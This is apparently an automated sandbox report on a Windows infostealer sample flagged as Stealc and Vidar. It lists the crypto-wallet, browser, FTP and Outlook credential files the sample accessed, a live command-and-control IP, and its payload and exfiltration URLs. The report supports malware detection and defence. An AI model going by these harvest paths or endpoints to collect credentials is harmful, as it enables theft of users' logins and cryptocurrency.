Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.2252356926.00000000018A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Binance\app-store.json
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: inance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger L
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.2252356926.0000000001885000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2252356926.0000000001885000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 4752, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.d20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2252356926.000000000182E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2054627045.0000000005590000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 4752, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 4752, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	4 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	345 System Information Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	33 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	33 Virtualization/Sandbox Evasion	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	47%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
http://185.215.113.37/	100%	URL Reputation	malware
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	100%	URL Reputation	malware
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/nss3.dll	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	100%	URL Reputation	malware
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/mozglue.dll	100%	URL Reputation	malware
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/softokn3.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	100%	URL Reputation	malware
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	0%	URL Reputation	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/freebl3.dll	100%	URL Reputation	malware
https://support.mozilla.org	0%	URL Reputation	safe
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2133427358.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, EBKEHJJD.0.dr	false	URL Reputation: safe	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2133427358.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, EBKEHJJD.0.dr	false	URL Reputation: safe	unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2133427358.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, EBKEHJJD.0.dr	false		unknown
http://185.215.113.37/0d60be0de163924d/nss3.dll1B	file.exe, 00000000.00000002.2252356926.0000000001885000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpinomi	file.exe, 00000000.00000002.2252356926.0000000001885000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	GHIDGDHCGCBAKFHIIIII.0.dr	false		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000002.2275547903.0000000029EC4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2252356926.00000000018F6000.00000004.00000020.00020000.00000000.sdmp, GHIDGDHCGCBAKFHIIIII.0.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2133427358.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, EBKEHJJD.0.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2133427358.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, EBKEHJJD.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37	file.exe, 00000000.00000002.2252356926.000000000182E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmp	true	URL Reputation: malware	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2133427358.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, EBKEHJJD.0.dr	false	URL Reputation: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	file.exe, 00000000.00000002.2275547903.0000000029EC4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2252356926.00000000018F6000.00000004.00000020.00020000.00000000.sdmp, GHIDGDHCGCBAKFHIIIII.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	DAFBGHCAKKFCAKEBKJKKFBAFCB.0.dr	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.2133427358.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, EBKEHJJD.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpXA	file.exe, 00000000.00000002.2252356926.0000000001885000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpl	file.exe, 00000000.00000002.2252356926.00000000018F6000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpr	file.exe, 00000000.00000002.2252356926.00000000018F6000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	file.exe, 00000000.00000002.2275547903.0000000029EC4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2252356926.00000000018F6000.00000004.00000020.00020000.00000000.sdmp, GHIDGDHCGCBAKFHIIIII.0.dr	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.2275547903.0000000029EC4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2252356926.00000000018F6000.00000004.00000020.00020000.00000000.sdmp, GHIDGDHCGCBAKFHIIIII.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dllZ	file.exe, 00000000.00000002.2252356926.0000000001885000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37e2b1563c6670f193.phption:	file.exe, 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmp	true		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2133427358.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, EBKEHJJD.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpTA	file.exe, 00000000.00000002.2252356926.0000000001885000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	DAFBGHCAKKFCAKEBKJKKFBAFCB.0.dr	false	URL Reputation: safe	unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000002.2275547903.0000000029EC4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2252356926.00000000018F6000.00000004.00000020.00020000.00000000.sdmp, GHIDGDHCGCBAKFHIIIII.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dlleB	file.exe, 00000000.00000002.2252356926.0000000001885000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000002.2275547903.0000000029EC4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2252356926.00000000018F6000.00000004.00000020.00020000.00000000.sdmp, GHIDGDHCGCBAKFHIIIII.0.dr	false		unknown
http://185.215.113.37/e2b1563c6670f193.phption:	file.exe, 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmp	true		unknown
https://support.mozilla.org	DAFBGHCAKKFCAKEBKJKKFBAFCB.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpne	file.exe, 00000000.00000002.2252356926.00000000018F6000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.2133427358.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, EBKEHJJD.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll3	file.exe, 00000000.00000002.2252356926.0000000001885000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2282034275.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2270061485.000000001DE10000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php&e	file.exe, 00000000.00000002.2252356926.00000000018F6000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1541196
Start date and time:	2024-10-24 15:08:11 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 37s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/23@0/1
